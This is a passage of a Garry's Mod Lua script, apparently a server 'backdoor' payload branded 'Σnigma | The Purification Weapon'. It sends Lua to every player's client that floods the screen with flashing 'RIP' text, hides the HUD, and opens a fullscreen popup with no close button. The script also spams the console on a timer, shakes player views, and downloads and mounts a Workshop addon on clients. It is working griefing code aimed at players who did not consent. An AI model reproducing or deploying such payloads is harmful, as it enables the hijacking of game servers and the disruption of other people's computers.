  458. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  459. TEXT_ALIGN_CENTER,
  460. TEXT_ALIGN_CENTER,
  461. 3,
  462. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  463. )
  464. draw.SimpleTextOutlined(
  465. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  466. "DermaLarge",
  467. ScrW() /2 +math.random( -2, 2 ),
  468. ScrH() /2 +math.random( -2, 2 ) +430,
  469. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  470. TEXT_ALIGN_CENTER,
  471. TEXT_ALIGN_CENTER,
  472. 3,
  473. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  474. )
  475. draw.SimpleTextOutlined(
  476. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  477. "DermaLarge",
  478. ScrW() /2 +math.random( -2, 2 ),
  479. ScrH() /2 +math.random( -2, 2 ) +460,
  480. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  481. TEXT_ALIGN_CENTER,
  482. TEXT_ALIGN_CENTER,
  483. 3,
  484. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  485. )
  486. draw.SimpleTextOutlined(
  487. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  488. "DermaLarge",
  489. ScrW() /2 +math.random( -2, 2 ),
  490. ScrH() /2 +math.random( -2, 2 ) -460,
  491. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  492. TEXT_ALIGN_CENTER,
  493. TEXT_ALIGN_CENTER,
  494. 3,
  495. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  496. )
  497. draw.SimpleTextOutlined(
  498. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  499. "DermaLarge",
  500. ScrW() /2 +math.random( -2, 2 ),
  501. ScrH() /2 +math.random( -2, 2 ) +490,
  502. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  503. TEXT_ALIGN_CENTER,
  504. TEXT_ALIGN_CENTER,
  505. 3,
  506. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  507. )
  508. draw.SimpleTextOutlined(
  509. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  510. "DermaLarge",
  511. ScrW() /2 +math.random( -2, 2 ),
  512. ScrH() /2 +math.random( -2, 2 ) -490,
  513. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  514. TEXT_ALIGN_CENTER,
  515. TEXT_ALIGN_CENTER,
  516. 3,
  517. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  518. )
  519. draw.SimpleTextOutlined(
  520. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  521. "DermaLarge",
  522. ScrW() /2 +math.random( -2, 2 ),
  523. ScrH() /2 +math.random( -2, 2 ) +520,
  524. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  525. TEXT_ALIGN_CENTER,
  526. TEXT_ALIGN_CENTER,
  527. 3,
  528. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  529. )
  530. draw.SimpleTextOutlined(
  531. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  532. "DermaLarge",
  533. ScrW() /2 +math.random( -2, 2 ),
  534. ScrH() /2 +math.random( -2, 2 ) -520,
  535. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  536. TEXT_ALIGN_CENTER,
  537. TEXT_ALIGN_CENTER,
  538. 3,
  539. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  540. )
  541. draw.SimpleTextOutlined(
  542. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  543. "DermaLarge",
  544. ScrW() /2 +math.random( -2, 2 ),
  545. ScrH() /2 +math.random( -2, 2 ) +550,
  546. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  547. TEXT_ALIGN_CENTER,
  548. TEXT_ALIGN_CENTER,
  549. 3,
  550. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  551. )
  552. draw.SimpleTextOutlined(
  553. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  554. "DermaLarge",
  555. ScrW() /2 +math.random( -2, 2 ),
  556. ScrH() /2 +math.random( -2, 2 ) -550,
  557. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  558. TEXT_ALIGN_CENTER,
  559. TEXT_ALIGN_CENTER,
  560. 3,
  561. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  562. )
  563. end )
  564.  
  565. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  566. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  567.  
  568. surface.PlaySound( "garrysmod/save_load4.wav" )
  569. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  570. ]] )
  571. end )
  572.  
  573. ---CONSOLE
  574. decore = {
  575. [[
  576.  
  577.  
  578.  
  579.  
  580.  
  581.  
  582.  
  583.  
  584.  
  585.  
  586.  
  587.  
  588.  
  589.  
  590.  
  591.  
  592.  
  593.  
  594.  
  595.  
  596.  
  597.  
  598.  
  599.  
  600.  
  601.  
  602.  
  603.  
  604.  
  605.  
  606.  
  607.  
  608.  
  609.  
  610.  
  611.  
  612.  
  613.  
  614.  
  615.  
  616.  
  617.  
  618. .,,uod8B8bou,,.
  619. ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  620. ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  621. !...:!TVBBBRPFT||||||||||!!^^""' ||||
  622. !.......:!?|||||!!^^""' ||||
  623. !.........|||| ||||
  624. !.........|||| ENIGMA IS ||||
  625. !.........|||| ||||
  626. !.........|||| |_| ||||
  627. !.........|||| | |ere ||||
  628. !.........|||| ||||
  629. `.........|||| ,||||
  630. .;.......|||| _.-!!|||||
  631. .,uodWBBBBb.....|||| _.-!!|||||||||!:'
  632. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  633. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!:: `.
  634. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!::::::::: `.
  635. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;::: `.
  636. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::; iBBbo.
  637. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo. WBBBBbo.
  638. `..........:::::::::::::::::::::::;iof688888888888b. `YBBBP^'
  639. `........::::::::::::::::;iof688888888888888888888b. `
  640. `......:::::::::;iof688888888888888888888888888888b.
  641. `....:::;iof688888888888888888888888888888888899fT! Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  642. `..::!8888888888888888888888888888888899fT|!^"'
  643. `' !!988888888888888888888888899fT|!^"'
  644. `!!8888888888888888899fT|!^"'
  645. `!988888888899fT|!^"'
  646. `!9899fT|!^"'
  647. `!^"'
  648. ]]
  649. ,
  650. [[
  651.  
  652.  
  653.  
  654.  
  655.  
  656.  
  657.  
  658.  
  659.  
  660.  
  661.  
  662.  
  663.  
  664.  
  665.  
  666.  
  667.  
  668.  
  669.  
  670.  
  671.  
  672.  
  673.  
  674.  
  675.  
  676.  
  677.  
  678.  
  679.  
  680.  
  681.  
  682.  
  683.  
  684.  
  685.  
  686.  
  687.  
  688.  
  689.  
  690.  
  691.  
  692. .,,uod8B8bou,,.
  693. ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  694. ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  695. !...:!TVBBBRPFT||||||||||!!^^""' ||||
  696. !.......:!?|||||!!^^""' ||||
  697. !.........|||| ||||
  698. !.........|||| ||||
  699. !.........|||| ||||
  700. !.........|||| ||||
  701. !.........|||| ||||
  702. !.........|||| ||||
  703. `.........|||| ,||||
  704. .;.......|||| _.-!!|||||
  705. .,uodWBBBBb.....|||| _.-!!|||||||||!:'
  706. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  707. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!:: `.
  708. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!::::::::: `.
  709. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;::: `.
  710. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::; iBBbo.
  711. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo. WBBBBbo.
  712. `..........:::::::::::::::::::::::;iof688888888888b. `YBBBP^'
  713. `........::::::::::::::::;iof688888888888888888888b. `
  714. `......:::::::::;iof688888888888888888888888888888b.
  715. `....:::;iof688888888888888888888888888888888899fT! Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  716. `..::!8888888888888888888888888888888899fT|!^"'
  717. `' !!988888888888888888888888899fT|!^"'
  718. `!!8888888888888888899fT|!^"'
  719. `!988888888899fT|!^"'
  720. `!9899fT|!^"'
  721. `!^"'
  722. ]]
  723. ,
  724. [[
  725.  
  726.  
  727.  
  728.  
  729.  
  730.  
  731.  
  732.  
  733.  
  734.  
  735.  
  736.  
  737.  
  738.  
  739.  
  740.  
  741.  
  742.  
  743.  
  744.  
  745.  
  746.  
  747.  
  748.  
  749.  
  750.  
  751.  
  752.  
  753.  
  754.  
  755.  
  756.  
  757.  
  758.  
  759.  
  760.  
  761.  
  762.  
  763.  
  764.  
  765.  
  766. .,,uod8B8bou,,.
  767. ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  768. ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  769. !...:!TVBBBRPFT||||||||||!!^^""' ||||
  770. !.......:!?|||||!!^^""' ||||
  771. !.........|||| ||||
  772. !.........|||| It's Too Glitchy ||||
  773. !.........|||| ||||
  774. !.........|||| . . ||||
  775. !.........|||| - ||||
  776. !.........|||| ||||
  777. `.........|||| HELP ME PLEASE ,||||
  778. .;.......|||| _.-!!|||||
  779. .,uodWBBBBb.....|||| _.-!!|||||||||!:'
  780. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  781. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!:: `.
  782. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!::::::::: `.
  783. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;::: `.
  784. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::; iBBbo.
  785. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo. WBBBBbo.
  786. `..........:::::::::::::::::::::::;iof688888888888b. `YBBBP^'
  787. `........::::::::::::::::;iof688888888888888888888b. `
  788. `......:::::::::;iof688888888888888888888888888888b.
  789. `....:::;iof688888888888888888888888888888888899fT! Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  790. `..::!8888888888888888888888888888888899fT|!^"'
  791. `' !!988888888888888888888888899fT|!^"'
  792. `!!8888888888888888899fT|!^"'
  793. `!988888888899fT|!^"'
  794. `!9899fT|!^"'
  795. `!^"'
  796. ]]
  797. ,
  798. [[
  799.  
  800.  
  801.  
  802.  
  803.  
  804.  
  805.  
  806.  
  807.  
  808.  
  809.  
  810.  
  811.  
  812.  
  813.  
  814.  
  815.  
  816.  
  817.  
  818.  
  819.  
  820.  
  821.  
  822.  
  823.  
  824.  
  825.  
  826.  
  827.  
  828.  
  829.  
  830.  
  831.  
  832.  
  833.  
  834.  
  835.  
  836.  
  837.  
  838.  
  839.  
  840. .,,uod8B8bou,,.
  841. ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  842. ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  843. !...:!TVBBBRPFT||||||||||!!^^""' ||||
  844. !.......:!?|||||!!^^""' ||||
  845. !.........|||| ||||
  846. !.........|||| HELP ME !!! ||||
  847. !.........|||| ||||
  848. !.........|||| I NEED HELP ! ||||
  849. !.........|||| ||||
  850. !.........|||| ... ||||
  851. `.........|||| ,||||
  852. .;.......|||| _.-!!|||||
  853. .,uodWBBBBb.....|||| _.-!!|||||||||!:'
  854. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  855. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!:: `.
  856. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!::::::::: `.
  857. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;::: `.
  858. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::; iBBbo.
  859. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo. WBBBBbo.
  860. `..........:::::::::::::::::::::::;iof688888888888b. `YBBBP^'
  861. `........::::::::::::::::;iof688888888888888888888b. `
  862. `......:::::::::;iof688888888888888888888888888888b.
  863. `....:::;iof688888888888888888888888888888888899fT! Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  864. `..::!8888888888888888888888888888888899fT|!^"'
  865. `' !!988888888888888888888888899fT|!^"'
  866. `!!8888888888888888899fT|!^"'
  867. `!988888888899fT|!^"'
  868. `!9899fT|!^"'
  869. `!^"'
  870. ]]
  871. ,
  872. [[
  873.  
  874.  
  875.  
  876.  
  877.  
  878.  
  879.  
  880.  
  881.  
  882.  
  883.  
  884.  
  885.  
  886.  
  887.  
  888.  
  889.  
  890.  
  891.  
  892.  
  893.  
  894.  
  895.  
  896.  
  897.  
  898.  
  899.  
  900.  
  901.  
  902.  
  903.  
  904.  
  905.  
  906.  
  907.  
  908.  
  909.  
  910.  
  911.  
  912.  
  913.  
  914. .,,uod8B8bou,,.
  915. ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  916. ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  917. !...:!TVBBBRPFT||||||||||!!^^""' ||||
  918. !.......:!?|||||!!^^""' ||||
  919. !.........|||| ||||
  920. !.........|||| What Is Love ||||
  921. !.........|||| Baby Don' Hurt Me ||||
  922. !.........|||| No More ||||
  923. !.........|||| ||||
  924. !.........|||| ♪ ♫ ♪ ♫ ♪♫ ||||
  925. `.........|||| ,||||
  926. .;.......|||| _.-!!|||||
  927. .,uodWBBBBb.....|||| _.-!!|||||||||!:'
  928. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  929. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!:: `.
  930. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!::::::::: `.
  931. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;::: `.
  932. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::; iBBbo.
  933. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo. WBBBBbo.
  934. `..........:::::::::::::::::::::::;iof688888888888b. `YBBBP^'
  935. `........::::::::::::::::;iof688888888888888888888b. `
  936. `......:::::::::;iof688888888888888888888888888888b.
  937. `....:::;iof688888888888888888888888888888888899fT! Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  938. `..::!8888888888888888888888888888888899fT|!^"'
  939. `' !!988888888888888888888888899fT|!^"'
  940. `!!8888888888888888899fT|!^"'
  941. `!988888888899fT|!^"'
  942. `!9899fT|!^"'
  943. `!^"'
  944. ]]
  945. }
  946.  
  947. function decorationconsole()
  948. print(Color( 0, 0, 0 ), table.Random(decore))
  949. end
  950. -- Console Spam
  951. for k, v in pairs( player.GetAll() ) do
  952. timer.Create("consolespamenigma", 0.4, 0, function() decorationconsole( v ) end )
  953. end
  954.  
  955. ----WEAPON Color
  956. hook.Add("Think","somewhere_over_the_rainbow",function()
  957. local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
  958. for _, v in ipairs(player.GetAll()) do
  959. v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
  960. end
  961. end)
  962.  
  963. ---TEXT SPAM VISUEL
  964. function enigma()
  965. enigma = vgui.Create("DFrame")
  966. enigma:SetPos(0,0)
  967. enigma:SetSize(ScrW(), ScrH())
  968. enigma:ShowCloseButton(false)
  969. enigma:SetTitle("")
  970. enigma:SetVisible(true)
  971. enigma:MakePopup()
  972. enigma:SetDraggable(false)
  973. enigma.Paint = function(self, w, h)
  974. draw.DrawText( "(╯°□°)╯︵ ┻━┻", "lapolice", ScrW() * 0.5, ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), TEXT_ALIGN_CENTER )
  975. draw.DrawText( "(╯°□°)╯︵ ┻━┻", "lapolice", math.random(0,10), ScrH() * (math.random(0,100)*0.01), Color( 240, 100, 100, math.random(230,255) ), 0 )
  976. draw.DrawText( "Σ", "lapolice", W * 0.7 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  977. draw.DrawText( "Σ", "lapolice", W * 0.38 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  978. draw.DrawText( "Σ", "lapolice", W * 0.9 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  979. draw.DrawText( "Σ", "lapolice", W * 0.35 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  980. draw.DrawText( "RIP ;)", "lapolice", W * 0.98 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  981. draw.DrawText( "ΣNIGMA", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  982. draw.DrawText( "RIP ;)", "lapolice", W * 0.73 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  983. draw.DrawText( "ΣNIGMA", "lapolice", W * 0.27 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  984. draw.DrawText( "ΣNIGMA", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  985. draw.DrawText( "RIP ;)", "lapolice", W * 0.05 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  986. draw.DrawText( "ΣNIGMA", "lapolice", W * 0.11 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  987. draw.DrawText( "RIP ;)", "lapolice", W * 0.75 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  988. draw.DrawText( "ΣNIGMA", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  989. draw.DrawText( "RIP ;)", "lapolice", W * 0.2 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  990. draw.DrawText( "ΣNIGMA", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  991. draw.DrawText( "ΣNIGMA", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  992. draw.DrawText( "ΣNIGMA", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  993. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  994. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  995. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  996. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  997. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  998. end
  999. end
  1000.  
  1001. ---PARTICULE
  1002. SendToClient([=[
  1003. steamworks.FileInfo(1618885873,function(result)steamworks.Download(result.fileid,true,function(name)game.MountGMA(name)end) end)
  1004.  
  1005. timer.Simple(5, function()
  1006.  
  1007. game.AddParticles( "particles/enigma.pcf" )
  1008.  
  1009. PrecacheParticleSystem("enigma")
  1010.  
  1011. for i = 1, 10 do
  1012. ParticleEffectAttach("enigma", PATTACH_ABSORIGIN_FOLLOW, LocalPlayer(), 0)
  1013. end
  1014.  
  1015. local ragtbl = {}
  1016. for i=1,20 do
  1017. ragtbl[i] = ClientsideRagdoll( "models/player/gman_high.mdl" )
  1018. ragtbl[i]:SetNoDraw( false )
  1019. ragtbl[i]:DrawShadow( true )
  1020. end
  1021.  
  1022. local function GetWebMat( strURL )
  1023. return g_]=].. m_strImageGlobalVar.. [=[[strURL]
  1024. end
  1025. local uwu = {}
  1026.  
  1027. hook.Add("HUDPaint", "okay",function()
  1028. for k,v in pairs(uwu) do
  1029. v()
  1030. end
  1031. end)
  1032.  
  1033. SOUNDSTART_CTP = false
  1034. OZJFOZJCEZIO = true
  1035.  
  1036.  
  1037. sound.PlayURL(" ","mono noblock noplay",function(s)
  1038. if not s then return end
  1039. if SOUNDSTART_CTP then s:Stop() return end
  1040. SOUNDSTART_CTP = true
  1041. s:SetVolume(5 )
  1042. s:Play()
  1043. s:EnableLooping( true )
  1044.  
  1045. local ragtbl = {}
  1046.  
  1047. uwu["CoolEffect"] = function()
  1048.  
  1049.  
  1050.  
  1051. local tbl = {}
  1052. s:FFT(tbl,FFT_2048)
  1053.  
  1054.  
  1055. xpcall(function()
  1056. local fal = 0
  1057. for i=4,6 do
  1058. fal = fal + tbl[i]
  1059. end
  1060.  
  1061. if fal > 0.8 then
  1062.  
  1063. local oneid = "newhud"..math.random(100, 300).."id"
  1064.  
  1065. hook.Add( "HUDPaint", oneid, function()
  1066. surface.SetDrawColor( 255, 255, 255, 255 )
  1067.  
  1068. if GetWebMat( "hud2" ) then -- lui
  1069. surface.SetMaterial( GetWebMat("hud2")[1] )
  1070. surface.DrawTexturedRect( 0, 0, ScrW(), ScrH() )
  1071. end
  1072.  
  1073. end )
  1074.  
  1075. timer.Simple(0.2, function()
  1076. hook.Remove( "HUDPaint", oneid)
  1077. end)
  1078.  
  1079. end
  1080. end,function()
  1081. end)
  1082.  
  1083. end
  1084.  
  1085. end)
  1086. end)
  1087. ]=])
  1088. game.AddParticles( "particles/enigma.pcf" )
  1089. PrecacheParticleSystem("enigma")
  1090.  
  1091.  
  1092. --Disco time
  1093. lol:PushAction( 10, function( pPlayer )
  1094. local idx = pPlayer:EntIndex()
  1095. timer.Create( "beat".. idx, 0.42, 0, function()
  1096. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  1097. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  1098. end )
  1099.  
  1100.  
  1101. lol:SendLua( pPlayer, [[
  1102. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  1103. local time = 0
  1104.  
  1105. hook.Add( "Think", "wat", function()
  1106. if CurTime() < time then
  1107. return
  1108. end
  1109.  
  1110. time = CurTime() +0.05
  1111. for i = 1, 16 do
  1112. local part = emitter:Add(
  1113. "particles/balloon_bit",
  1114. LocalPlayer():GetPos() +Vector(
  1115. math.random( -256, 256 ),
  1116. math.random( -256, 256 ),
  1117. 256
  1118. )
  1119. )
  1120.  
  1121. if part then
  1122. local Size = math.random( 4, 7 )
  1123.  
  1124. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  1125. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  1126. part:SetDieTime( 4.5 )
  1127. part:SetGravity( Vector(40, 0, -250) )
  1128. part:SetLifeTime( 0 )
  1129. part:SetStartSize( Size /2 )
  1130. part:SetEndSize( Size )
  1131. part:SetCollide( true )
  1132. end
  1133. end
  1134. end )
  1135. ]] )
  1136.  
  1137. lol:SendLua( pPlayer, [[
  1138. hook.Add( "RenderScreenspaceEffects", "wat", function()
  1139. local sinScaler = math.sin( CurTime() )
  1140. DrawBloom(
  1141. 0,
  1142. 3,
  1143. sinScaler *math.Rand(1, 8),
  1144. sinScaler *math.Rand(1, 8),
  1145. 6,
  1146. math.Rand(0.5, 2),
  1147. math.Rand(0, 0.3),
  1148. math.Rand(0, 0.3),
  1149. math.Rand(0.5, 1)
  1150. )
  1151.  
  1152. DrawColorModify{
  1153. ["$pp_colour_addr"] = 0,
  1154. ["$pp_colour_addg"] = 0,
  1155. ["$pp_colour_addb"] = 00,
  1156. ["$pp_colour_brightness" ] = 0,
  1157. ["$pp_colour_contrast" ] = 1,
  1158. ["$pp_colour_colour" ] = 1,
  1159. ["$pp_colour_mulr" ] = 0,
  1160. ["$pp_colour_mulg" ] = 0,
  1161. ["$pp_colour_mulb" ] = 1
  1162. }
  1163. end )
  1164.  
